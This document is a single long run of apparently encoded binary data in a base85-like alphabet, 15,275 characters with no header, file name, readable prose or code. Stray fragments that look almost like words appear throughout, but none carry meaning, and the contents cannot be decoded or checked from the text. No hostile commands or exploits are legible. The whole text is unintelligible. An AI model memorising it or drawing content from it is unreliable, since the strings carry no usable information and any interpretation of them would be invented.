zZ&+N}m78P(mJA4b2vp^FzAGXG5_!W%d<+m8Qdb1QI6E^-pckpVTEtZrBr{AO2cBc% zwpf6esIEAR?s=FiO#AjfoQDQ0!3bKZachCX%;9+@Q6@G z03EoIeDcxUjp6prMr5*wi$mSWUEP&yc@vn&AKIqUCIqd$(Nd+~1_%g4MMtSRS6c&e zY--+#i!h!Jfzh(awkJPRQwt>SoiL=U4K8I6JW3$ER!009gDZ|jW)ptoV_OWPFF0eE zHfPWQPNi~KBc6&o86V-AA>fGq;RU5_jt&0BSs7qJT!i1)N8eRCbWN45++^Yzw;5j! zHB=riq9hC`QkSeY)1;hd-pccOpuHZRJI)8u5N zhY5SWn;EG`eqBH1-i0b8*SV2&?!nLi};$FizG z9fPI;kq|0qL$?H_BxE~zYEbx;d z=EPqkP>dBgo=}2P(5iZ4=+)okKs7J6F)Y>~5AQeFc1ef#H%&GM7;<9DqpNJ9R$cHy z-I}MM7+QlIF}h;_&i!CJVoWil`Rd(FCpckKvG57eCalPEcJ0IMhrNHo_JWtQ;0{oJw-z1R60@L{YzoKEJk?y4IWoMDH9o zKP6Zq@yh!o@+?@ZarP?UDdAkMzB#hS602_0OdD8-s3wPN>-IhXOO8dDwXz_cN8XD0oDz$W6 zk?GRcO=>g8Q6Z^vrP_dzmHmUD7V{CI#Eiig732-DDe8UMN&l(f5u2%(^Muq5C#@AJ ziqVT1#s@GVo(}oxD7^I_Pdup5uV6+OI>o22yz6gE@rHX}osAqeeyohOs+f0_ zN8oI@`%}jAD6sc)(8bg$PIZblIZO z8qOO^=0K-?CU&mRsseebk@fW@sZ|`n^-kI9Gu))qhDIX_?NnHHN^Od?UCYZ@E%xl* z!EXJ4r7V6Jn`ma+#CRx>#!4%H=!sjIqGaN_ct|BgMbefye9FEJxgtf`B9q_#j0?uj z-TBUIYT>3sxufykLdlejkoinsnc%||+yh%C$P0uNA;}U`q(NM=NDZ1?3D{`sXDaIZ zRBF4Pr5T7Uv_!$&-I_$)UMf_#)He2X8&UjM9SD($I2eq)6}MQqf_xn%^n#Mvua%5(BtvFEL;!R`7%fo%K?AQRe~ihCE{k!?2)po*mN8eH0iT1`dNN4?5t#xs*XYAHO8?r-`a8t zzXzdh5Ro=HpPQg~SZjDBq=xoaF0(`mA+eL)<9{zT|0jXUe6<~(nx<(m){lNF0Ber)S^Y6iRhTpnI{{p1{xgGtxz+(H;C;lUy^rxlIe-{|N zPpsa*cn?4Qp+NtkPWpAs_Ai~p^4|aS4|P)cA3Ev1&FDmBj5?hHRtktnbiZz|Px_k? zM?LXl^zs^Tf43>R!w@}Q?Cr%Y?PX4mzS1Y~kcffS=~qu!$*SfJkhCwFo~=+@Se89f zxh!I+4|<7KKUES~8rLC@B@oZZ%s62^yA?rPPvi2c=BxAV-QDrHJBl>}595fXH9TkF z9V3p7^?lk#`{Ks=4Au7z$H(@yH@D}l@n^cs`l#(Wcmnij^-`ELP0*S;6N8JdS2QzT z$VS$_eG4mE=)x)Y7#-`j%jSD)Rxa!}me5&D-&29T>Q$KLZA&<4;+em6dc580WHqlf zb~nhBwLhNaS=`}i+!!fTmT@nhDxQ|&@71qzCVEyY6}!ApvMQT@Q^nE|+EI3C%?adl z5%LSGXi1oMnK3{s@QNi`y`Zk3m1t|{+7+00$axm_vlO_9&yq{{+bpW7 zY+X1N>jKqcR;YMNeUVR-Lth$LQFfsQW0Wc!3izeJ$M#ql>mmy_^0G-O#6-^yo~Z8q z2SGNkrGjilF!BlpK;@~ z!~`ht+75M)82wCk--adI>=wEAikQCt{ZbK%yD;wRMmZ81o6l$xlM1J6fx;1%;#s#e zK~8aBq}bx7Dnif7wZacH&Ue^mPsr4&e;~pPuc}u2E~W9&Gc7C1a1TfFT!aMC zK;ogw#uWB#?!X8X{6N}p-{HqPKQ#maL44%UDrQc0cVSDHP+6J_3-Hn0!r=gmWRt{RhG+x$e()MUTmOHoANs z2K^{mZlNQ{X&L^3#ugMb-_13{Mtk7}*i_4Dd*2rxwV=OzcqYNcDZ#1^F!{u!R3Bc! zrEIz?6`C0tVgD8kC@ToO*=Q(Iec#Zp8v#JIVS`Anp|Wx7rnPuduPQshdK7G!vm9W& z7U#$2TrSO0`DwK~0+?rhYX%WV+lMk#Mwn3BXJRYCd8q6bsFJNuL1vjP8;D*}bDS;* zl!Vvjfr9|mhDo!hRoM$6ImDbGC$$sjV^iolq9pvCjVd<#XdmB)t)v%R;`PNJLH0FS z+3AEWn(J@T_G5ydVundZLSl78ZHuC71(<_a4h_S|Mo_C$4KN(9RSOVNHT|R>Ayn?Z z8t_C6N_oD0zuHN??)OTM&>i&~4bc-uItfVwpvOJrK~lgDkL=4f17ON?Ju01q6f`42 zc<2ztH#;t!dtv(0=F43d^6de50qv@q?{Tbu5Q&mfyS2*%+Qju(buSkwRll;tLX(H= z_E1=4iRTM|+1+@Ek#W#$B0{3bJ`_31rywY4V3rT`Hq;v2Ao1Obj(U$3pVZJAtgHfB zp+v#_5AckL%5`|75KRaIPnlhzU%L8u?5l=U6u4~x&UdfO0GshK;(#U+YW3^jyB8q3 zYwGemx4*5)B7Zwi33ow=?tq(PAQO@PCPw5YkHoWMI7dfnK!{fT)k^aWb=X8CC?o0p&c z=?SgBRWU2l>9A$&^GOB-seQ8uTP60vBV8h%B#)Ek3<90F4>t(qpxHfeP(uCG@~p$I zytY?2Udf?hKoaPYa<8vlMtbdQ)!oC~5*mIn7WTcTEqySrB_1OZ05@T66e_UeQ#TM4 z)NR5P`gKBgFipd29mp$iJf z6S}V&Q^O2x{(yvdMJevQY%tU_@Mx(|m;tUpqjYVYiIKN3+;k*3p4*YQ%(K%50%&SG zdoYd$sy^W)noD9ajaFiPs9o!bDt>|_p#7ZBpsx@tvbXidblayy$ynjb43>T!?)oZY zojTXzcShRXMXTY`sA(TPNBEIgbanf@89{xS_30RrBuB|Ob)44kkw`5#2HLg0g$K3C&9>WH+;kBx>egxBGf<> zFF^#4=W`iQgv#IJ%Og2}=eL}#^)Oc-mACllOLq3PU<`hLDFup<4I30tW`{#-9%`aN z?(x1c%UU&dp)Qgy6O_GP7#Jz=(<~ z^=-&Ag^n#K6KgKi{o#(=q-Nha`^Sj-Jw(LTY->PJA5XOLtv`OiPa5iqtCAQ5b!#2p zw`s(v8OS8|3L55|VBOlZ)#fHH;|i^kER|&pdKm*GB~hjcmgSl$9cTm#S6GI_bw}34 zJfvs1SOw-)ZRbeR6dhbO!icx~N=^C#$XlC0VD{Xo{< z9Nf|vi?8%N@^fKHv`rGXx@01#mF_Jg1Fc;vNghWgnTh9K1P&^dm)99SiN{O5bA^H0 z-z10Jd}0>V6w}$zmR1^!`^PNC#D$IN2=kIu=`07Knqc+&piOozKdE2`E*ohF)-Oqv@btEm7&3rN7)~WmC_|c`u1gW?G3RH@Fl>)#_FT(kKjt|tLsk-le7Xh!Q-bd z+L{QP_Q>HKKSpV5zA}TzymW<2By9|wgQdu1zF)g>i)@n+_PKK^N>X0a$oc-6hr!JO zQvR&{3`2x2CohkjH zA$~r`e;)4qc0Axuxc@%8#_-$mfWH7)=-&%x-oN+TaObz<0e=B9u`$rR%aPx4f8E~r zEAIX10Q39E={MkS{j+}oGQ5kOPb|Ne@i6?>Kl>LTJ?ndc5!3IF%JwID_5Y)i{-H4X z_09a3FrsIDFIxJi!bnB!{hTs_*M?3G7^o#$43+p?Juf1YRD)>rJ}(Pd=r}<(_2=?| zSnQa{+8-T^*vD1MX$4l9uCNC$#(_5(Sc5KJ9M6sex;HrcL_Tqb9fLJvYDp$43mtL2 zZw`a^u8Hg-0!r+h(t4|(Y$n&!xjHyCv_Zy(+o<6559|dv`DvjE4;Wl3_G21tXTv8q z$n6Nx7Lq2D(5Nt{uE}ma;9y{#4he@-Y?QFBoT;lv1){FYP@>(sdyK+Ot{dfxb1P7- zlfOUmQ7>w;d|>b#ge9Q8RM@_}Q$4&T5ItCNAb|4)v_p3Xyg+tbyUj5(%-2GIBp`Wg zy^9=`rxinLd4!t(UfaAbo*J*eC4BW#*+R}F-kE>)*&ym90J^o=^0c2c>I?X@skXNn zo6(yGyy0*gSg#7lsM-P(i#%(e+YwR>#2KGi67x%6D)J&TLwOb~Is*u36 zdTk;arqg$&d_4p(;iCX{844Fcn(w!ck}BU2ZRywC!PKvk4NS+_fS{~D%Gz>*hJIRF z7K2CDM3n8C2BREa4TeC(K_K%(5#lIZppbL+2*4F%!>p!MUo`awiQq&$NS^!_`LVBz zbiqjpu*cBaK=X?MLNo042V_4~vrT?IPV4-@2rKuQDQBwzTkZK&5`WUu%#SMV0ZD|5g9I#FfHngQ&2b%3$$syis#^~&^=#?8MuM(0?Lg7 zK8wn8qge>9m?)%U5|iu_cacYENTca4er;PcXv<3-0ViAPH~?QQ5Lzr0GMwEOO7j$# z$!UZ))OhXTj%IQMu%c0$qM;588qDYToD&AcjJ?!G;6}er~{re1LUOyQJOoR`PU)B9P*&^h9mw zIsYXH;%7WA^#Mc zDjC8Qy9P3+GrLmGnsiID?zdf-sEvqFt+P+$W_mo!jWvfPnHKC*0kwyyg-7Na5-_c_CT| zxiG<0JHeTwtB=?nxo$g|umbc5C?C1Je>hBq2Vd_`XCr;9bXSqmY+bgV9R1EIS$VWQ zUz>!M{X*HgD%!rDn%<`rrLMVD63n0ueVAPtY+&Xlh1^(wyC$c2(=-rJ!7-q$T|MxE z7IE7&^}r4)V73%E@P_skg-5Y~dNQia=?hKi9;wC3SxDeZA0B7&-5{US1n&S7C2N`1j z)CHXohN!~w<#~b&KTdo0H&u<5GN5}2@PgV4ga;?BL@P%tHlO7I6&#kdZ3(p5d#~M6 zEzcJ~lCe~mRu4BR3KboPL9T2SS*e@$Hvj~E5Osvy2f3jL0v*J(wK$9090Fva>y$)s z!bUasZ_!-IjslpPlN|(9-#g=~z6~rXeoIFU+-h7EZaOn2buwUAnj|fM96nwv;bW~> zWR4L47P|tbZ*yoQQ$tU3izjtUeM+Oc`=mq6cV4ON`&g_xN;Q$PtH567BF|KjsB?p( zt4><)m2N2@Lp%8f)*cZB_IG6M*GSBNV-)|FEBq^2`>$}$|MQ~3J7@SeNBl|Fer~(| z$0W{gz4lDM;{GpW?PrDjuMYEHfGn&m@2!|@zjLSG8W8^iWPYy|WO+Z8^&9E>tpV{b zK&DSDH19E$6^F05IbTR+Uo-F;RcmDYg zN!OX0#2=)q`SnlF(SHf;R!je7FC#?Ggmq5n3-cm~i zrXZm4kX>6gfeDZ6DylXO8CM?7woV8=WbH%Z83_hNf3^L+*07Vt9!l@GnGZe_@)r~K zXPh{Nbl=wZ`YX|7Drq`AKMK%7*QgGx&j%V7;VZtchIO<*KU8g z6GE4IaEb@x_v0Nc=QnId@L-O{aVNhVz;s(sFUD7dBK7%(k5NmTQqbciN1F#6G{8{{EXFkoH1fbM&#mo;yEC`0Gc z0%>x8&&B!zhXcNOv(9iI&$+nlbZQ4xaQ;SO-H+3wQVD__A$Ee)*CFM4!CF?W;W=;% z0F6T);l!cN?#Gx5*(=lIijR<1DXfjp$1-=1a-l$YBDzH>?Kny0T>No0S|-LjJblLVJK^m$HNOPpY9ELi4% z6A+Nw^PE4Ga?icR%5l_^jtCjxquoiHM*BwX84zx}b=0ch#d`dWB7+ZX;WW6~m(@-sg*Z~_?`A2`DX(u5;SP6oR$6P~K-Am*vcUXh!`=aR?)0~aP{ zUwE{@KognH9jCQZn?d&_F#+u<3WKA28_I-0)3H_Jz-X-|EA+4LmzxtnV~|9A`atLc zW{`Wjbsd89i9QCFQge%$ZP|#=z7Gbn^@|7+=ppEhlIG84^Jra=4Ush|2u1LLRRc({ zjYjyVLi=~PqHwHm%5DlyO43r*sEG6gLCJ;b1L^D>ngZVlx!XaYJGgZ3uaE{xJhkz{ zpkDLhzw0!TG^XlF7X=KLQrM(bENvPk+Lfl4nDX4_Z?BoM_kY-w-K!WOz2Ja+UaD4z5hpr}K94>C} zTPMdWhDsLF^|hLPJ7_=FLahmU7Gc%CVS=+EMNRaR{!F~7DK;X%>DKD^zc6tzM??WB zpsr*)03&SYx-?7!&b5w!A!l?Ht5 zRfWXN4jaN%^xE{I1TU0gIw$(*CIcb_iUUJP$nAak_*9OCgYHa1v@%wKeN~_@qkFJb zD7mTe_qNkya|1_`0Su&&z!^u=7_%7A2tZ{~_*wbPhSQ@KF2j>XVX*aDHz0AuW;rP-U2$_C;+5IC(!?ge|<>3yKF zVK}aZC*2fME8}6Z9@_r#l>D_Eiv;ma1btVXivB&kA%|N8AQ>L9Yo+{Tvs|v)J_D9{ zI9_M7Y3^XnDwcC!>$+dGY3aue{3?M|j0uVoKU{7l`10OR&I58~?;) z(y!v_B6UMEd!}Umv9UnFO!oU_M)RSc~psXFJTeuJXvx;#SzQ8 zf7m;)Bsn_ScAUN-owg*?02E7(-l%gjz3}-at6bzo4MdN}3stUzV-OD)G4O?=VW=3I49h};qr$&y(R@0ryB(qBI)%wKX^t~CEPUnedcz8f}HGXA3&3qP?0Le z^bfiXC7VQ@*n-Kow!b=cE=lo$Yp&PJr>4}QXIg#rMAah0vM5d(+KYkG=$B3pkJ(^5Zfl z^ny-Xg9fc*)>AgQ2_DmAE!u8Zbq&w+ipQH8Y){KeunzEOeYtdDBqHa_;P$|Q3fdRI z59RaXf5QgfF9Q9Wmi;{&{P|!1&#{4@M%X{M?ta=|@=(9jk}&`382-U{em=*4w(fqb zeEt*eeeTZkM{)SyaI@bkpZ@}6WMz7%Sik#P48Jw({RPNC|DMZ!Pc!_L4ZdG){pHR6 z_9OmLYX06e_+GQ}S0LM;T*iMy>i*5+{vV>)?^%g|{|5XYC+$6Y@efJe{CkhyJE?o` z(c>or6BMQt_Bce*MSrplL-ic&W%(-9EhUbplSsNHRny}p1LlwxJFA$;*?O!ZA+HC0Am4%8 zjn$1QE1erY?2*KVqC3sJ++`DszMd5?Eji0WSlT#GdbKRh`xz)>@qeG=~~$J&K~% zw6#MS3KZt7;H>N{xtqGjWxjaG;<3~zrIxwu6T8mdF4(Aof#z+kZbYVAg6oN zWVz$$Z2%9rFuIAryTI*Q_k0qb+?r=j?#lLJso0tzHJMoTNWNXLv3iMsNu_r@?@pIG z>`=;paEBS`PwVn|g$W3#zgl4SzFH687t@?&(436u7hVja;to!1rZXOaXE3(CShTDf zH?!WdY1=xhMKzJasUZbX$KA4ktN;p&DV8qPM5W4&xpIc2h(1isEX?C>wSYQ{iL@;p z*1<-s%?aXqQq@)CzMtcHv>PNsgvN(e$2x$=YfsPU^n7p)jC{O#+A3X2)?o|tE!ra& zubMN=pg|@cfOA<9Jqt>4lxQDGQOeJfn5mJu1lqx;KNi2;h-#(znS4H zQ(r`~eZ0O8 z{*JqW8aEs@njAG8?OiGzNK-qVX2KADE(wnd?iUZas2%ydp_Cu@BvKlSG@?k14PSy3 zE2~Eggcg9FaCd~Dg67O00BM2_%hnJ~zZ(D1r^Jj+`jP)up`$7}@O_tbnwu*RBo5pz z@&2~>9_kkMj99ahukPY>*e?{arV47gh2L$Vh)4Z$ANnRKnBX3Y5SJ@2?JRIVFmvxN zo}rfGszVStt`|nnipCBk571FyL!bpgt8WW5$8cu`LhExq2ixd2lv#3ca4_P`EJ$pV z5!M2QbaL)&`{K2aDOvQecS8YNExMsW4lK zCbG9iMR&gPr|M&%*6iu;EenEc7hBfh7rVX)rfc*pU4i;}F4MOk;dvr6;9g*K`dPY&yXn*)oh?JA3Js{kpO zPGD%NXyOB6qA}`I?8F%YPP}e7Bfg17s1l8fCXei1hNKm$Mjg35V&0L;~b+SDDs*wEjx(wjsJ|KnNFoCh)`1?0OAz7A|Q2Wd;3223rBY z?C~x5pz@&Br1t*i>I_ae&HvS~a_w}|O{6)adfhr0?ZRc~Ng)vDjvMFZga7PuWFh!0_>x0oWw= z3T}egmIG((6hs*CAm1;YLL^X%I&$XEUky{n96lT;LVU38ES~p~>TYWHj3ltrFfK=K zg@aA9x>ae>ni}^B#wwG1B=$VK#niOM9FO~4rnnT@_$(%nLZF^tl*tl*F+Brbw`VMO zqZ4x$h5y-Xf(d=esSc=YVwoRsw6!{@10Iq}vI8E$6-Y$u2>Xi&pI00L7 z@T;?S&0_~E;}(pW%m*UAsoH87RqMjl`9-p29oXw|Qd&VNIze)?E{T6bgqpS8XH4XyfhD)y6e z{Iu=fQEYw5P zu4n#?Li5%2>WaUMRWn2hvwVgVMliFI!A!1-GkR)m^Qo+r{&?a^;uSx1;a%!6w&A>7Y44 zfyNE-Yr+ZCF2NrvUdZ5b=?M2#T;{9PL{b`OU!hZRg&dBQqE(kXJNwoyuHy-!j~x3B;8?^E zjF0*bz`@}GT@XyNCU>5&E?pmCT_0X$9sMN8#iIR>!_ezD_?zDvjz1UjPKA>Q3n{Rx zhHyp?hpT9@sXfY30DZhppsm4|Qb>Kfz)8-e?M@ENC=jlE?l4bbziY|+R&iK7eU$rE zxq7KfQ+u5uBE`GESHz~|N1(h_u<7`Z6s=x3fN}FpTKMVjs6;6Ri#X!;h0Q~Z!nW8% z*`%OFppLi>oBnVf?Ti|`F^xEB;{f2)$L7>+dN}#(h$8+f=7}BTZWVIi;WsXuvzaNK z-Jl!`od#O87gg()6T$TH!PDipzJR$m}0k9{lkI6i!ou?{r1aeBk8qCi{fU zE)HF%2&Qaf!3apB#KV{GQ1F$~iT@XMZy6iLwk3_4nPTRcnVFfHV`hw* znVFd(W@ctPW@ct)i0zo^`JQ{PCTDU+b7ns2N%O<9+UniiyW2miYSpTh?SMh_sTUuI zaO@BOf}0BxuO=?^-dHlz{QNys-N>w%N|6=&INK#XZXJ`|;VZLwBNo zzFM)u1fwM<6GQ{W8v39^js-?HpN)r&QjfYpGQ4Rs3)(Eb?8wtYMb`;X~ zi1C_{_)U%1dP4YZu`YH?F1$eN`#=G)+iY&$1K6}uT5FD0PFuK)KbL*!(qv~ht>eUK z9&djy$3M0Z#XPl?0*>H7^w-i`sH$it#fQh4$XaUKiuq`MROYPr_@C&MF83iN%VW(6iN45SuAnJ8O~SH$6rMe_)g7vOVAM zx{+aJg#Kj)F^xK93jIVf;&zR7Q!WQt;MK;wAewSe{pdOrO}@kK+2oH6v>RSDixrEZ z7z;kV*xa7hPj;e*>}K=A8pzKAe6158OF{{Orf%PGPV+`a>mL z;4OOm>IL1HQ`%47`#spbR}t8S0xAE#oV!TroC;!$km7RlTIx^54y+klf;;d!+RCTA zF~KBf1Hw(lixU@Lr5laH-b|4VEc)FhUu-M4h?7c(u>yOQ^oKlV84u+dV3E1DQ15)n zOBJ9Dg};lQtmU)^N@K(_)c+*r>_)}^)Cl$DAZ%ae8j+f7nQw>%Ktq92ykopVm&vlH zp<*9FD!@w#-P{i5L;jv2T8-!vZtu_vV%hcpY6C3G8_3_~%Hqx%<7ZGFoza2F!M!~o z7n_O>5v>?)7)Zhk?Azx8SYf$%VOEaUBjOCaw=`Fy9Xv3;24M@kde^NP$xpk4+B+*1 z4N<%mQ6tu|2&OshZi++lC|oy9DA$*_$??Ex>Ec8tvf)R#GOyYbbNp;VUjVvr_=VSxB zGSR)L1kGddMUqCHnJp2H7jYOzw8L3csi_PbXNVr4vT$}caHqI-Rt55?Sf53&kqL5@ zGBHTt@;H8smIzRg(|@Jw9o(QoNAN|Mpb~B?2%?{6Z!?1d)C+%NE+4PB_N>l`)~Na% z3@~9=B39<|oDtrgsb(95+!mndoMCEMQOLGE|vB%88hZ|wP2c02fKFkqzv&Pl`>_@^s z&~3@2g9$lYgLp1B$QYv!1&ZuduLzu&2THY?YQ^?h|YR` zb<(T)v}+Ho?Zw=?=0+ZD&;V5GM?mqnd-s^P`jSC~=fW}jvr(+%Zk{B;9VYud)ND8TpRPP2Zop2}*Z^a2-T!S!&d&Qu9?<%z@@%z!=! zl$2W1u(}*a+zq7Cf)UaJ#~o&-#FSGRl_p>>g`{GDKNYWB3AC1>xe}+&&P(e~cBzC? z5Z@VDz!t~BCpHu9nF{Bu;fA5^2xdT+zLqqx+cUm<&cdh16 z#(5@{UY=!;%br@UHPoDSs;9fIjGit;=!fwF$}8~ITdLMN)pQXs8cA@+S}T$(kd8;8 zT91NhaMEN-h|i{_Q2mWh93{s?IPT&bU&&#yzDohKvbLMEcMcNx$gFbf zaRu~i5&?LwRD9_)Im9DHy({F$>f^~)h*DnvCJ!HwTuZuQlS2Iriq)N@-OcsoxqrS9 zeZh2F^9~KV5Ji{4fNt!%iBzk?lp40V*5o9jU>U{8kkH~ zL%w_p&Dj^Xv*5zq z$9hXi6w%q7?(WhB2Zs3iaxuw@4VL80{70Fj>r)Dd^MsVSt2NJV=0c7XGD0MF#gH8& zA<6;_nWTPysMVFn+?E?qp71^gP`Mq%>rY5m4mYzL8gU79-e?o6%06%{h9cF95H083 zVbyE?)4-G`=$vhagU)PQV@R8bi9ldQnKBecg*Ad@2H|Qz^0^P|qY*JgLMVM*(YI+Z zVZhl+GD?b)JC@xCSOnmCFNN~>_+VZJF-$ z2Naq92&j)MoIGt@9IExf$O>=YM75&(k&?i}+`asU$B`-{zaU@ZJEp;oSEQFp0KTyV za)oY9<8e?;uV}>z4b@O%`EC2Qo@nPvA<-by0)_UmSW8G>Tr=L4)(6cL$JM#-PKn>q zz|Vu9$?6e@bmOSSc%YSryAGN7VsQbMT?UmJ`xGjr5CoBHfSEDzOAJ07(rb;3YSMkXDWZ!c3?yg5RLn*$ zv~Bhwmzt1)=LV*Xfm&e8aHoJfeWFYwZWQZv!=u)8l2v#or-GLNX-1;5CDi)-RQE(T zbGtoQQwZ|47J)>aVvU{`-bO(QAnxanret3oiNjH{wn5PEIh^67ZSC9KsjOm}-$oIE z^;6=2AK<^W+}10a`s^m z=dWu4!UNUy%VhgvTCO8iNuV3M6FI&4&Tf64P^kUJ8A*s}ZHGX*T|J##E1{9$Bg6>@ zfoA*-iXw`c>|IQSASd2z*}kI&+fP)1WP2Y>_H#+H^^IR# zd=km9_z6%o3Au2WOAP9rc^d)Fp4R|#bbiP8+&3I19v97d4va&G(fcp;B?_nf(P@2U zn-y%)v(ZNJ#_DTs>kb$JP(F|sFzE?du5(xrXg#bcfH^o4XIVu89o*4c9AT=6vR7{> z*XR4A1@&9Ky#yIFGdX}l2xk^&2DaH0_Sqbe4Vn4L%?l<|D@?mnQNS)@d!l!=*=|kL zPoa<+&Lm=Q_=~%EXp<%3Ue)?G2!%oI<^%5K9zeS@{1GRV)-HU-%1VL!_Ta$w{JIfi zlETPP-4f~T63?;vE7&2MrL!B;#ifo<`ucGl$v#^f^(^zF)!Ao_J9DP-z3_u zhdO6X?DDU9J*-QDQIpJqni+*;y@`=m`G>yr6s}Tc8@l4pht9~*PQB~Jz`je7eRVcI z!tNxqv1s*?US30^u={Sh5F_?v>xXzaf6!xlFD=@o9DsL9ULqhw5u~>oPv&w0NZ5Jz zW6nG+J&^eb1Ew%J0X19qXj&AXwNv|;7ln=4Ju;N6n)l@=|7gLQxsp7%V(#6DDKkTg zoX^Yhj9HQ5<68gW7wLq?7I#DYMX%ePbrcohP&cWap*B&QL&kAlI3eWLOtWyU3d4Mv zk{2-I*ThKqM$|k0SLvhRXBj`RaNE=C==!gcH#Ab0ib9Te<`PSnVat~tYAI{)9i$eM zj#@YhvlrTM&+u_Y>LGzSD1tH2fo>cpBcNF^Ic1c|-u!M?Ky9AbcDHPIbThu`y442f zgpq874U^Y;rnD22t~>O&0};>oz}go#_E6D>%J6;cWDlFUxT@(*@8q@KHzv)RXY-^I z8zwScV)zKq7bU@dV)goy4&^ElMd^j?%nF?|=ta%N$vewCAxRr_16HK&V}=`hkHX4Y zHnx%kRvYc!uut!~ZCLE(_D{h8+(yvCQehD8gT#+C$5W0vZlORW9=uJC7~|~RlAR2H>N2$6uZzI1c@G?!w1$s-^9tsn06Q;XSjGLy zT8wm6q$vW-{&pgg`<25CB!8uoyrhfVFqPiGu2es!a0j@gbs6zgRq*wW&mUb-Spzt(&lPnoPqhau?+FB?0cRMV6San^FdgcXro_8*>%sh5>h zCuiw=-j0tzjqg8q&tZ1M1!uwU(#!6@ZFIh#fnAIqc6&QU=AXR%d?9RHyUpI_mGYcO zetMXu&(ewA+syK2;-Uv}?saHHU!tv&eFI;Gx~Kmutov)H{C|OU|0S>gVr%_pGyeYz z*8NrJ|A*rK(Nyy{0_GThi+lUix(}@TF({n<_r@N^-_qXx(>f*=7Mc&W{x_wb?T?-Q z?}hVUM_2!nV({TN_#aE^zhdtH0KtDd`mG;b%YL=_YQ0Oqel~Sz7J@|V$LOrgVCT}} z8c}k~(s6kFupFXcO`%W_!0yqeGg@1=Q0jzM)$HB(1^pJ)GghZhQWvD(_ln|aNfEvL zLo@QXiN=BPZ#-(3GS)nyNF=-8xgY~Z>W1_3R-``UbZh1o_Q%`3>$|-(j)Zv4J@FJN zt1o?oh_1-8R>|>gW>hjJYL$hbrEIHYdDq`OoTzt!-B3&j}HX#v|!y`CpyM6MgV~_TiEvjRS zC~~gyZsAFsb#Aw4u#|jNrkynFC_UZm-=Ci+wt4)4RE4!(dE%6pTo0r8^g3g>L=N zd*7=NT=4+4VjzP5z^%tf!WQ`!*qU`h8sbC8f5rqfP`V`$3 zVPIx)C1$0F3ky>-mCWasE10fc)XAn`ea&P92noT~jfIKau(QW`@jeKn*9Hi}t@A=6 zBLUmK4Dtw}OyM5tb)i`lIQ;^kEu@T%)o#6-YW4^z4MvA~bZ+m{u7;?>>*!$1ki@lN*HYT5s2?uYk;4aVn?e7r&>SiLdXQujGW(3B>F<+b}ngmdEYzj%^`d> z&vMBXR(1f}rIbSH`?3!N4evr#78cC_5Asv~1g86dA(ORP12(~?6M9xjED^?2l%59o zr`sY!`*$rZqtU{dfa41MBI=+P7Mpb<@&uj@{l!3HQ+f1rTU;L(kx)u?9t(4{<8@!5JgDE3EMPi#1PoV2znBuObL{@8Th)0+j4|Kqym{oUwEXsL z&|aT{0O}TKQ~}DdGz6+Snu{rF=?5&bu>0UW9434>8x2lypp>1dZ)~xe2ElRmA?Wti z3s?2^MynuBM~0(Dz_#ltK4ZrfhZ6?Hs1{Z_bS?QQ;;)Kk1YPHPY6{_13oRn6x^vUr z1E5)nHj+0^VOUm2#4oonoWqy`O_wJCg(n4Nw9SC-0b6sE@tqB5D4p%Zp@zEwhYB3< zga9*xS~cEnFl+U0&s|URP=h2RfCd6X%ZJPZ)<i2EZRUT)4wVT8N;X^TB7Iij&>h#=O^ z5P|p13P!se-|p$R)=O%Enb=jprG+G+!xK@}JKjPu>6Ff_Tc!jL04it%AQbQK8gfJj zQEzskD0iQZWLSw9Rh0rKto>guq`+^(;=!Ii8B&D@9lw=$yhK75@n3)mFCHmlO}?n~Q+3 zyDZrq$W#Y4nx*9lO1viCqkc|g4l{~NHY4XE>W{aWJZ~bi?++dB8yjb1ZI8U$e)j32 z<*6Wai|`dC?abQ=Drl142)W- zJnU($*;z%uU>CLk$@`Wi9?%XXT z`N!-iQpwk0?cLBPh4DqzD_4H-a_wbp#06LN$-ZxQ zet$K6n=2W&0bbec%m%^J4nU{6lK4)#Z%9xGJ5=dT+^lPvaZ+5ygs24IOtlT~3bNT* zmUnf=0fK&^#t<~TAi3bSm&SZD?a}}yCb~fFnF4Cj19eo-#PhadiAlSwb4C$qyIDSY zj}8hPfb$ze{o?+pqK$Tc>bnqC@3)6XJCj9bURlhkCD43Rr+`$)pU=H3D+e!U zQU^IP;$R|@J}N_WysKw;A(MQyllu!^D!FQ`-XHuRk#}k$nn7U#u|hcgZ9k(wWgI#s>Dbe0AVaPsBC!QYz~gD+)H306(}(|u`8!xdaPy3Bcqj8K zYic)97scwh^FuMdCOFxlFF1%rQefczIQ_+R?&uQ2#uUX;Jt-SxZV`&*Y5%O5Rd|E=-lw-~TLt^2TU zd<^Dh{)={V#y^E}{eioGz2Qg8)CUe`Wc%Hg%f|An-SuxtzW)Jm|KzUyIQTE3z5W-I zY5vr#_HR(k@Zr4vo62y7s%7-*htGtki(r%FdnI!taThEqTfM3KqOkj7t|D@HBO6;I z!__=(i4iM~uJ=nE!M+Q_g;h<52PCmPvJP%+!t4C`h|cTH&W$j@`x}KS@ixV<$0x(( zQd61@@1I|Y$KG4714m}&r|p<2QHp-(RBdRsce;4k+ul;asH6_<&}pxqi3K62MyRmv zpS*G)V$qJzJyi@_-yZCaSACiEGaabPReFE|QMbY%91WZ-^*wV*1hOuVSyWUA%FnvUur?A`+RKf0FaEkNHZ9L>+EG)D_1?~@$=cfjL|+Kts-rYxi?Zzr^I*v)Y9#_m zgOxk4t}d%I^L=lk$IEZ;&&wpL@4>-a;XAX2lQGujcad-EzLu6b;?vVoQYa}FA#1l< zf^++c$9!j2YzG~k4Bt*kcr{^lf+>}%&ABO;AyQh}O){QnsBdaBqIjJ=hXLjnu zk`{6J;2=yG%67fc9)OmnZ7}C`kK+d68zv&{MLF5F8V%}*F(=m9hdU-DZ{Qc+$ZdK* zjn$u~Kpb8Ae}3#=y2nEr^0AakRf`RMrjx0KM14pG6ST zt})yMjFHYmbLU|=Z&Ow>=f$%!jM)2K62k;zr1XN6QZ|SHGG9{Bm$oMo4TM62_d@hX zHK`)#hOjIe7e%X^g}Og*i`9)tdSFD*L@3A_Vcg4sDr`TA6d>Y3+C1bTq+IAy0q>*% zADT~zu5>Ur*Y`U2c03gE9()%NiIORu&s$(c<{$`BN7{T=3KT*fcWDRqqR0r$8?N=E z@VC%A5J!dzw)~%~S;i*NFNR|Tf~?jbZE}zw2*gR*jjz)c8;Eny!3Y`+DPfNq)$=%? zOdhOy`mUC+!i0u>n3L^!9we22GO?L0_9Myu*NHefGas`n1mgG zwJypTo{n(U+MFJM?^FVgRStK{DP=oRAMcBLt0)vZYi+%VxiwWpmf=^PX~Ibnu}MQ2 z5+8)^83cV@Y)G!K54 zBtB>QTcQcPa84q-h{0rOP2NM^-Pv?zmw 